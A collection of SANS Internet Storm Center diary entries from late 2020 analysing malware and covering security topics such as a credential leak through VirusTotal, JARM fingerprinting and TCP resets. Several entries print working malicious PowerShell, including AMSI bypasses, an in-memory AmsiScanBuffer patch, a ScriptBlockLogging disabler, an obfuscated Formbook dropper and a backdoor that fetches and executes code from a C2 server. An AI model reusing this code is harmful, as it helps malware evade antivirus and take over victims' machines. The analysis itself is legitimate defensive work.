ISC Stormcast For Tuesday, November 17th 2020 https://isc.sans.edu/podcastdetail.html?id=7256, (Tue, Nov 17th)
ISC Stormcast For Wednesday, November 18th 2020 https://isc.sans.edu/podcastdetail.html?id=7258, (Wed, Nov 18th)
When Security Controls Lead to Security Issues, (Wed, Nov 18th)
The job of security professionals is to protect customers' assets and, even more, today, customers' data. The security landscape is full of solutions that help to improve security by detecting (and blocking) threats knocking on the organizations' doors. Sometimes, such solutions have side effects that go to the opposite direction and make customers more vulnerable to attacks.
Here is a perfect example of security control that could lead to a critical issue. I was looking for data in VT and launched a retro search based on a simple YARA rule (I was just looking for a simple string). As usual, a retro search generates a lot of noise but I always have a look at all files, just in case... I found several emails (EML files) that contained juicy information (translated, the mail was issued from a German company):
Hello Thomas, the mail (see below) unfortunately did not go through. I uploaded two files to the Owncloud because they were too big. These are stored in folder <redacted> OwnCloud access data:
Guess what? The next three lines of the body contained:
- The ownCloud URL
- The login and password!
Note: the URL was valid but credentials were of course NOT tested (never try this!)
I found several emails from this company and EML files were submitted always from the same API ID and from Germany. This security control was probably implemented to submit automatically suspicious emails to VT.
When a customer asks me to have a look at their security posture, I always search for leaked data (from leaked databases, from VT, etc). And, most of the time, it works! It's so easy to find valid credentials to connect to an OWA, VPN, or services like, here, an ownCloud instance.
Based on the example above, some good old reminders:
- From a user perspective:
- Do NOT share credentials via emails. Don't forget that emails are relayed through many relays to reach your contact and SMTP is a clear text protocol by default and NOT reliable (your email can be delayed and stored on a server while retrying to deliver it).
- Encrypt your emails.
- Share passwords via alternative communication channels (pick up your phone and talk to people).
- From a sysadmin or security perspective:
- When implementing security controls, think about the type of data that will be processed (and stored!).
- Anonymize and sanitize data before sending them to a cloud service.
- Don't rely only on login/password, implement 2FA when possible! (in this example, ownCloud does)
Stay safe!
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
ISC Stormcast For Thursday, November 19th 2020 https://isc.sans.edu/podcastdetail.html?id=7260, (Thu, Nov 19th)
PowerShell Dropper Delivering Formbook, (Thu, Nov 19th)
Here is an interesting PowerShell dropper that is nicely obfuscated and has anti-VM detection. I spotted this file yesterday, called 'ad.jpg' (SHA256:b243e807ed22359a3940ab16539ba59910714f051034a8a155cc2aff28a85088). Of course, it's not a picture but a huge text file with Base64-encoded data. The VT score is therefore interesting: 0/61![1]. Once decoded, we discover the obfuscated PowerShell code. Let's review the techniques implemented by the attacker.
First, we see this at the very beginning of the script:
[Ref].Assembly.GetType('System.Management.Automation.'+$([CHAr]([Byte]0x41)+[ChAr]([bYTe]0x6D)+[Char](82+33)+\ [ChAr]([BYTe]0x69))+'Utils').GetField($([SyStEM.Net.WEBUTilItY]::htMLdeCode('amsiI \ nitFailed')),'NonPublic,Static').SetValue($null,$true);
Which is deobfuscated into:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils.amsiInitFailed)),'NonPublic,Static').SetValue($null,$true);
This piece of code comes from the PoSHBypass[2] project. It's a proof of concept that allows an attacker to bypass PowerShell's Constrained Language Mode, AMSI and ScriptBlock, and Module logging.
Then, classic behaviour, we have an obfuscation of the Invoke-Expression cmdlet:
$ZER0HRFGEPXLGAJHCZYNIFQKWXNPYMID='MEX'.replace('M','I'); sal g $ZER0HRFGEPXLGAJHCZYNIFQKWXNPYMID;
This code will make 'g' an alias of Invoke-Expression. This is used immediately to decode and execute the following chunk of data:
[Byte[]]$IMAGE_NT_HEADERS=('@1F,@8B,@08,@00,@00,@00,@00,@00,@04,@00,@ED,@BD,@07,@60,@1C,@49,@96,@25,@26,@2F,@6D,@CA,@7B,@7F,@4A, @F5,@4A,@D7,@E0,@74,@A1,@08,@80,@60,@13,@24,@D8,@90,@40,@10,@EC,@C1,@88,@CD,@E6,@92,@EC,@1D,@69,@47, @23,@29,@AB,@2A,@81,@CA,@65,@56,@65,@5D,@66,@16,@40,@CC,@ED,@9D,@BC,@F7,@DE,@7B,@EF,@BD,@F7,@DE,@7B, @EF,@BD,@F7,@BA,@3B,@9D,@4E,@27,@F7,@DF,@FF,@3F,@5C,@66,@64,@01,@6C,@F6,@CE,@4A,@DA,@C9,@9E,@21,@80, ... @34,@6F,@8F,@7E,@8D,@1F,@23,@18,@C7,@CC,@FF,@18,@F3,@84,@A0,@83,@EB,@FB,@70,@EE,@D3,@BB,@BB,@0A,@6B, @C7,@D2,@E4,@47,@CF,@FF,@B7,@9E,@5F,@E3,@E5,@AF,@43,@5C,@4C,@72,@77,@FF,@FF,@63,@78,@FF,@E8,@F9,@46, @9E,@FF,@07,@78,@61,@2A,@8D,@00,@42,@04,@00,@00'.replace('@','0x'))| g;
The result string is passed to the following function:
function JAPFYAQPECMKYQNLCJXCOFSVYMER { [CmdletBinding()] Param ([bYte[]] $VDLXLPBUCEUOIHNKREBMWCWEFMERbyteARRay) Process { $WRSWRLDCDXEUUYFBJUWQZJSDGMERiNput = New-Object System.IO.MemoryStream( , $VDLXLPBUCEUOIHNKREBMWCWEFMERbyteARRay ) $MZCUMHEBORHYCNKFFBEUSZDTZMERouTPut = New-Object System.IO.MemoryStream $PHQDSFCPEMOPKRYRNBGRTBCCIMERPAGE_EXECUTE_READWRITE = New-Object System.IO.Compression.GzipStream $WRSWRLDCDXEUUYFBJUWQZJSDGMERiNput, ([IO.Compression.CompressionMode]::Decompress) $EONFFJPUIRZMNCRBQZKESIVGGMIDCONTEXT_FULL = New-Object bYtE[](1024) while($tRUe){ $BBYRATZNTGIAUBPDRVBIQAMRDMERREread = $PHQDSFCPEMOPKRYRNBGRTBCCIMERPAGE_EXECUTE_READWRITE.Read($EONFFJPUIRZMNCRBQZKESIVGGMIDCONTEXT_FULL, 0, 1024) if ($BBYRATZNTGIAUBPDRVBIQAMRDMERREread -lE 0){bReAk} $MZCUMHEBORHYCNKFFBEUSZDTZMERouTPut.Write($EONFFJPUIRZMNCRBQZKESIVGGMIDCONTEXT_FULL, 0, $BBYRATZNTGIAUBPDRVBIQAMRDMERREread) } [bYte[]] $QTXDBVKLTJMGOACBLEIVSJSQHMIDouT = $MZCUMHEBORHYCNKFFBEUSZDTZMERouTPut.ToArray() } }
It will uncompress the buffer and generate a DLL (SHA256:A7D74BE8AF1645FBECFC2FE915E0B77B287CE09AD3A7E220D20794475B0401F9) which is not present on VT at this time. This DLL is injected in the PowerShell process:
[bYte[]]$decompressedByteArray = JAPFYAQPECMKYQNLCJXCOFSVYMER $IMAGE_NT_HEADERS $t=[System.Reflection.Assembly]::Load($decompressedByteArray)
Then, another chunk of data is decoded:
[Byte[]]$HNAUVVBGYKNXXMOTZHSTOHTKRMID=('@4D,@5A,@45,@52,@E8,@00,@00,@00,@00,@58,@83,@E8,@09,@8B,@C8,@83,@C0,@3C,@8B,@00,@03,@C1,@83,@C0,@28,@03,@08, @FF,@E1,@90,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00, @00,@00,@00,@00,@00,@00,@C0,@00,@00,@00,@0E,@1F,@BA,@0E,@00,@B4,@09,@CD,@21,@B8,@01,@4C,@CD,@21,@54,@68,@69, @73,@20,@70,@72,@6F,@67,@72,@61,@6D,@20,@63,@61,@6E,@6E,@6F,@74,@20,@62,@65,@20,@72,@75,@6E,@20,@69,@6E,@20, ... 0,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00'.replace('@','0x'))| g
This is the main payload dropped by the Powershell (SHA256:A07AE0F8E715E243C514B8DA6FD83C5955E1C8EDE5EEBF4D6494EE97443AAD95). Same here, it's not available on VT yet.
The payload is executed via the following code:
[QuotingUtilities]::SplitUnquoted('control.exe',$HNAUVVBGYKNXXMOTZHSTOHTKRMID)
This function is provided by the injected DLL:
This function implements an interesting anti-VM check that, if running in a virtualized environment, stop the Powershell and prevent the payload to be executed:
Note that I don't know why a popup message is displayed. The goal of malware is to operate below the radar... (maybe the code is still being debugged by the attacker?)
Here is how the VMware environment is detected:
(Maybe there are other tests performed but I did not investigate further)
The DLL is also obfuscated with a tool that I never met before:
If you have more information about this "Zephyrus Protector" tool, please share with me!
The Formbook sample tries to contact the following hosts:
www[.]zenhalklailiskiler[.]online
www[.]insights-for-instagram[.]com
www[.]ketaminetherapycalgary.com
www[.]forwardslashdevelopment[.]com
www[.]arikmertelsanatlari[.]xyz
www[.]bklynphotography[.]com
www[.]experiencewinneroftheyear[.]com
www[.]kansas-chiefs[.]com
www[.]vrefirsttime[.]com
www[.]issahclothing[.]com
www[.]denver-nuggets[.]club
www[.]wwwhookeze[.]com
www[.]moxieadvice[.]com
www[.]gangtayvietnam[.]com
www[.]cosmosguards[.]com
www[.]magentx2[.]info
[1] https://www.virustotal.com/gui/file/b243e807ed22359a3940ab16539ba59910714f051034a8a155cc2aff28a85088/detection
[2] https://github.com/davehardy20/PoSHBypass
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
ISC Stormcast For Friday, November 20th 2020 https://isc.sans.edu/podcastdetail.html?id=7262, (Fri, Nov 20th)
Malicious Python Code and LittleSnitch Detection, (Fri, Nov 20th)
We all run plenty of security tools on our endpoints. Their goal is to protect us by preventing infection (or trying to prevent it). But all those security tools are present on our devices like normal applications and are, therefore, easy to detect. Techniques to detect the presence of such security tools are multiple:
- Detecting processes
- Detecting windows (via the title)
- Detecting configuration (files or registries)
- Detecting injected DLL
- Detecting debuggers
- ...
Those techniques remain the same on every operating system (with some deviations of course - the registry is specific to Windows). I found a malicious script targeting macOS computers which implements a very basic check to detect the presence of LittleSnitch[1]. This tool is very popular amongst Apple users. It detects and reports all attempts to connect to the Internet by applications (egress traffic). For malware, it's important to stay stealthy and the presence of LittleSnitch could reveal an attempt to connect to a C2 server.
I spotted a simple Python script (SHA256:e5eb6d879eaca9b29946a9e5b611d092e0cce3a9821f2b9e0ba206ac5b375f8b) part of a red-team exercise, that tris to detect the presence of LittleSnitch:
cmd = "ps -ef | grep Little\ Snitch | grep -v grep" ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) out = ps.stdout.read() ps.stdout.close() if re.search("Little Snitch", out): sys.exit()
Simple but effective!
[1] https://www.obdev.at/products/littlesnitch/index.html
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
VMware privilege escalation vulnerabilities (CVE-2020-4004, CVE-2020-4005) - https://www.vmware.com/security/advisories/VMSA-2020-0026.html, (Sat, Nov 21st)
-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu
Quick Tip: Extracting all VBA Code from a Maldoc - JSON Format, (Sun, Nov 22nd)
In diary entry "Quick Tip: Extracting all VBA Code from a Maldoc" I explain which options to use with oledump.py to extract all VBA code with a single command.
I promised that I would update oledump.py so that it can also produce JSON output with all VBA code.
This is now done with version 0.0.55. Existing option -j (--json) produces a JSON object with the content (base64 encoded) of each stream found inside the analyzed ole file. Combining option -j and -v produces a JSON object with the VBA code (base64 encoded) of each stream module found inside the analyzed ole file:
Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com
ISC Stormcast For Monday, November 23rd 2020 https://isc.sans.edu/podcastdetail.html?id=7264, (Mon, Nov 23rd)
Quick Tip: Cobalt Strike Beacon Analysis, (Mon, Nov 23rd)
Several of our handlers, like Brad and Renato, have written diary entries about malware infections that involved the red team framework Cobalt Strike.
In this diary entry, I'll show you how you can quickly extract the configuration of Cobalt Strike beacons mentioned in these 2 diary entries:
- Hancitor infection with Pony, Evil Pony, Ursnif, and Cobalt Strike
- Attackers Exploiting WebLogic Servers via CVE-2020-14882 to install Cobalt Strike
The configuration of a beacon is stored as an encoded table of type-length-value records. There are a couple of tools to analyze Cobalt Strike beacons, and I recently made my own tool 1768.py public.
The analysis of the sample that Brad mentioned in his diary entry (1) is simple:
In the screenshot above, you can see all the records of the decoded configuration of this sample. Records that you might be most interested in as an analyst, are the server record, the port record and the URL used with GET and POST (highlighted in red).
In Renato's diary entry (2), there are 2 artifacts to analyze.
There's the shellcode: Renato explained how to deal with the different layers of obfuscation of this shellcode.
Here I use different of my tools to deobfuscate the shellcode, and then pass it on to my 1768.py tool:
The payload downloaded by this shellcode is easy to analyze:
Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com
ISC Stormcast For Tuesday, November 24th 2020 https://isc.sans.edu/podcastdetail.html?id=7266, (Tue, Nov 24th)
The special case of TCP RST, (Tue, Nov 24th)
In TCP, packets with the "Reset" (RST or R) flag are sent to abort a connection. Probably the most common reason you are seeing this is that an SYN packet is sent to a closed port.
But RST packets may be sent in other cases to indicate that a connection should be closed.
Lets first look at the reset in response to an SYN to a closed port:
IP (tos 0x0, ttl 64, id 0, offset 0, flags [none], proto TCP (6), length 64)
192.0.2.1.65007 > 192.0.2.2.81: Flags [S], seq 3972116176, win 65535, options [mss 1460,nop,wscale 6,nop,nop,TS val 447631150 ecr 0,sackOK,eol], length 0
16:24:59.928936 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)
192.0.2.2.81 > 192.0.2.1.65007: Flags [R.], seq 0, ack 3972116177, win 0, length 0
Interesting here: The sequence number of the RST packet is 0. If you are looking at "unusually frequent" sequence numbers, "0" may show up at the top if you had a lot of failed connections that resulted in resets.
For an RST in response to an SYN, the sequence number is not really used. This is the first packet arriving from that source, and no further packets will be sent. Also, there is nothing to acknowledge. So the sequence number, if there is one, would be ignored and as a result, the few operating systems I tested (BSD, macOS, Linux, Windows 10) all use a sequence number of 0.
Could this be used to help with spoofing TCP Resets? Not really. As there is no initial sequence number yet, the RST sequence number wouldn't add anything.
A second issue that sometimes causes confusion: RST packets with payload
IP (tos 0x0, ttl 64, id 49111, offset 0, flags [DF], proto TCP (6), length 51)
192.0.2.43.37444 > 10.0.28.20.25: Flags [R.], seq 1:12, ack 1, win 57352, length 11 [RST 220 mailgat]
The RST packet above has a payload length of 11 bytes. tcpdump is nice enough to display the payload with a "RST" prefix. The actual payload here was "220 mailgat
". This behavior is typical for security devices (the trace above is a bit old, but I believe the RST was created by a Cisco IPS at the time). The idea is that the payload will provide more information about why the IPS (and in some cases firewall) sent the RST. Someone once told me that there is an RFC describing this behaviour, but I haven't found it yet (if you know: please comment ;-) ).
---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
ISC Stormcast For Wednesday, November 25th 2020 https://isc.sans.edu/podcastdetail.html?id=7268, (Wed, Nov 25th)
Live Patching Windows API Calls Using PowerShell, (Wed, Nov 25th)
It's amazing how attackers can be imaginative when it comes to protecting themselves and preventing security controls to do their job. Here is an example of a malicious PowerShell script that patches live a DLL function to change the way it works (read: "to make it NOT work"). This is not a new technique but it has been a while that I did not find it so, it deserves a quick review.
The original script has been spotted on Virustotal (SHA256:b2598b28b19d0f7e705535a2779018ecf1b73954c065a3d721589490d068fb54)[1] with a nice low score (3/60). The original file is interesting because it's a "bat" command line script and a PowerShell script at the same time:
# 2>NUL & @CLS & PUSHD "%~dp0" & "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -noProfile -ExecutionPolicy bypass "[IO.File]::ReadAllText('%~f0')|iex" & DEL "%~f0" & POPD /B
The environment variable '%~f0' will expand to the complete path of the script (ex: "C:\Temp\malicious.bat"). It is passed to PowerShell which will ignore the first line (starting with the '#'). The script will be deleted once PowerShell completed. Note, '%~dp0' will expand to the drive letter and path of that batch file.
The script itself is obfuscated inside a Base64-encoded string. First, it's a backdoor that tries to execute commands returned by the contacted C2 server. The HTTP connection is built in a specific way to talk to the server:
It requires a specific User-Agent:
$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; $eBdd.HEadeRS.ADd('User-Agent',$u);
It tries to connect through the proxy configured in the system:
$EBdD.Proxy=[SYsTeM.NEt.WEBREqUeSt]::DeFAULtWEbProxY; $ebdd.ProxY.CreDeNTIALS = [SyStEM.Net.CredeNTiAlCAche]::DeFauLTNETWoRKCreDeNtIalS;
A cookie is required:
$eBdd.HeAdErs.Add("Cookie","session=i9jI6+TRpy75U2v68M56EtGXOWE=");
The C2 address is obfuscated:
$ser=$([TEXT.EncoDing]::UNicODe.GEtSTrInG([ConvERT]::FRoMBAsE64STriNG('aAB0AHQAcAA6AC8ALwAzAC4AMQAyADgALgAxADAANwAuADcANAA6ADEANQA0ADMAMAA='))); $t='/admin/get.php'; $daTa=$eBdD.DoWnLoadDaTA($seR+$T);
The C2 server is hxxp://%%ip:3.128.107.74%%:15430/admin/get.php.
Data received by the C2 are decrypted and executed via Invoke-Command (so, we expect PowerShell code)
$K=[SysteM.TExt.EncOdiNG]::ASCII.GeTBytEs('827ccb0eea8a706c4c34a16891f84e7b'); $R={ $D,$K=$ARgS;$S=0..255;0..255|%{ $J=($J+$S[$_]+$K[$_%$K.CounT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256; $H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I]; $_-bXOr$S[($S[$I]+$S[$H])%256] } }; $Iv=$daTa[0..3]; $DAtA=$data[4..$DAtA.lenGtH]; -JoiN[CHAr[]](& $R $DatA ($IV+$K))|IEX
But the most interesting part of the script was the technique implemented to prevent the PowerShell script to be blocked by the antivirus.
First, it tries to disable ScriptBlockLogging[2]:
$vaL=[CollECtionS.GEnErIC.DiCTIONarY[StrING,SysteM.ObjEct]]::nEW(); $Val.AdD('EnableScriptB'+'lockLogging',0); $VAl.AdD('EnableScriptBlockInvocationLogging',0); $b399['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$vaL
Then, it tries to disable the API call AmsiScanBuffer() provided by amsi.dll. How? By patching the function and overwriting the beginning of the code with a simple return code to disable the function:
$MethodDefinition = " [DllImport(`"kernel32`")]public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport(`"kernel32`")]public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport(`"kernel32`")]public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); "; $Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru; $ABSD = 'AmsiS'+'canBuffer'; $handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll'); [IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD); [UInt32]$Size = 0x5; [UInt32]$ProtectFlag = 0x40; [UInt32]$OldProtectFlag = 0; [Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag); $buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3); [system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);
Step 1: the script tries to locate the address of the function AmsiScanBuffer() in memory. To achieve this, it used the classic combination of GetModuleHandle() and GetProcAddress().
Step 2: the memory protection (where starts the function) is changed to allow writing executable code (the key flag is 0x40 or 'PAGE_EXECUTE_READWRITE')
Step 3: the memory location is overwritten with a buffer of six bytes: 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3.
This suite of bytes is the following code:
0x0000000000000000: B8 57 00 07 80 mov eax, 0x80070057 0x0000000000000005: C3 ret
The value 0x80070057 is placed into the EAX register (which is used to hold the return value of the function). This value is 'E_INVALIDARG'. Then, the function immediately returns to the caller with the 'ret' instruction. This technique implements the bypass of the antivirus scan...
As I said, this technique is not new and has already been discussed previously (around 2019) but it's interesting to see how attackers re-use always and always good old techniques.
The fun part of the backdoor? I was not able to connect to it. The C2 seems to be an SSH server. Or did I miss something?
$ curl -v -A 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' -H 'Cookie: session=i9jI6+TRpy75U2v68M56EtGXOWE=' hxxp://3[.]128[.]107[.]74:15430/admin/get.php * Trying 3[.]128[.]107[.]74... * TCP_NODELAY set * Connected to 3[.]128[.]107[.]74 (3[.]128[.]107[.]74) port 15430 (#0) > GET /admin/get.php HTTP/1.1 > Host: 3[.]128[.]107[.]74:15430 > User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko > Referer: http://www.google.com/search?hl=en&q=web&aq=f&oq=&aqi=g1 > Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */* > Accept-Language: en-us > Connection: Keep-Alive > Cookie: session=i9jI6+TRpy75U2v68M56EtGXOWE= > SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u6 Protocol mismatch. * Closing connection 0
[1] https://www.virustotal.com/gui/file/b2598b28b19d0f7e705535a2779018ecf1b73954c065a3d721589490d068fb54/detection
[2] https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.1
[3] https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Threat Hunting with JARM, (Fri, Nov 27th)
Recently I have been testing a new tool created by the people at Salesforce. The tool is called JARM and what it does is query TLS instances (HTTPS servers and services) to create a fingerprint of their TLS configuration. Much like analyzing the nuances of network traffic can be used to fingerprint the operating system and version of a server, JARM fingerprints TLS instances to create a fingerprint which can be used to compare one TLS service to another.
The JARM repository on github provides two executable files. The first jarm.py can be used to create a fingerprint for any TLS enabled service. The second jarm.sh is used to automate a JARM scan across a range of IPs. For example the fingerprint for isc.sans.edu can be generated as follows:
$ python3 jarm.py isc.sans.edu
Domain: isc.sans.edu
Resolved IP: 45.60.103.34
JARM: 29d29d00029d29d00041d41d0000005d86ccb1a0567e012264097a0315d7a7
JARM can be used for a number of purposes. As the Salesforce blog post says:
“JARM fingerprints can be used to:
- Quickly verify that all servers in a group have the same TLS configuration.
- Group disparate servers on the internet by configuration, identifying that a server may belong to Google vs. Salesforce vs. Apple, for example.
- Identify default applications or infrastructure.
- Identify malware command and control infrastructure and other malicious servers on the Internet.”
Shodan has integrated JARM and has generated JARM fingerprints for all TLS instances they have discovered and integrated them into a Shodan facet. You can query Shodan’s JARM results from the Shodan web tool, or from any Linux with Python installed you can use the Shodan command line, or use the Shodan API, to query fingerprints
So how can this be used to detect malware deployments? Well it turns out that the when malware deploys a TLS enabled service the fingerprints tend to stay the same across multiple deployments. The JARM developers have given us the fingerprints for a number of common malware families.
Using this information you could create a script to run across your address space and compare the computed fingerprints to the known malware fingerprints or you could just use Shodan to do this comparison. In this example below I am using the Shodan command line to query the JARM results for AS209 and comparing the result to the fingerprint for Cobalt Strike (a red team tool often dropped by emotet and other malware onto compromised servers).
$ shodan search asn:as209 ssl.jarm:07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1
184.99.37.107 443 HTTP/1.1 403 Forbidden\r\nContent-Length: 310\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n
71.37.172.120 443 71-37-172-120.lsv2.qwest.net HTTP/1.1 403 Forbidden\r\nContent-Length: 316\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n
71.37.172.123 443 71-37-172-123.lsv2.qwest.net HTTP/1.1 403 Forbidden\r\nContent-Length: 316\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n
97.122.203.173 443 97-122-203-173.hlrn.qwest.net HTTP/1.1 403 Forbidden\r\nContent-Length: 303\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n
174.16.120.233 443 174-16-120-233.hlrn.qwest.net HTTP/1.1 403 Forbidden\r\nContent-Length: 309\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n
65.144.105.2 443 mail.strataproducts.com HTTP/1.1 403 Forbidden\r\nContent-Length: 314\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n
65.144.105.6 443 HTTP/1.1 200 OK\r\nCache-Control: private\r\nContent-Type: text/html; charset=utf-8\r\nServer: Microsoft-IIS/7.5\r\nSet-Cookie: ASP.NET_SessionId=vpxjjrrzezdnobjeacvfff45; path=/; HttpOnly\r\nX-AspNet-Version: 2.0.50727\r\nX-Powered-By: ASP.NET\r\nDate: Sun, 22 Nov 2020 02:31:11 GMT\r\nContent-Length: 47074\r\n\r\n
65.144.7.67 443 HTTP/1.1 403 Forbidden\r\nContent-Length: 352\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n
71.222.37.196 443 71-222-37-196.lsv2.qwest.net HTTP/1.1 403 Forbidden\r\nContent-Length: 316\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n
I have to believe there have to be some false positives in the results, but it gives you a place to start.
For more information on JARM, please check out the Salesforce JARM blog post
For downloading, JARM can be found on github.
-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.Quick Tip: Using JARM With a SOCKS Proxy, (Sun, Nov 29th)
Rik talked about JARM yesterday "Threat Hunting with JARM".
JARM is a tool to fingerprint TLS servers.
I made some changes to the JARM code to support a SOCKS proxy.
Now I can use JARM over Tor, for example:
You will miss information when you use a SOCKS proxy: the resolved IP, in case you use a domain name.
And on Linux, there are other methods to achieve this.
Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com
ISC Stormcast For Monday, November 30th 2020 https://isc.sans.edu/podcastdetail.html?id=7270, (Mon, Nov 30th)
Decrypting PowerShell Payloads (video), (Mon, Nov 30th)
PowerShell scripts are often used to deliver malicious payloads: shellcode, another PowerShell script, reflective DLL, …
And you've probably encountered malicious scripts with an encrypted payload, for example encrypted with AES.
In a video I created, I show how to decrypt a typical encrypted payload with my tools base64dump and translate.
The command I use in the video is:
base64dump.py -n 20 -s 2 -d example.ps1.vir | translate.py -e "keybase64 = b'zDYGjpptXWqJootb7OdcR/JaGJswRA3EywKlPTHHZMQ='" -s decrypt.py -f "Decrypt" | translate.py -f "GzipD"
The content of decrypt.py I use in the video is here:
from Crypto.Cipher import AES
from Crypto.Util import Padding
def Decrypt(data):
iv = data[0:16]
ciphertext = data[16:]
key = binascii.a2b_base64(keybase64)
oAES = AES.new(key, AES.MODE_CBC, iv)
return Padding.unpad(oAES.decrypt(ciphertext), 16)
This small script uses crypto functions from pycryptodome.
If you want to try for yourself, I shared the example PowerShell script on pastebin.
Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com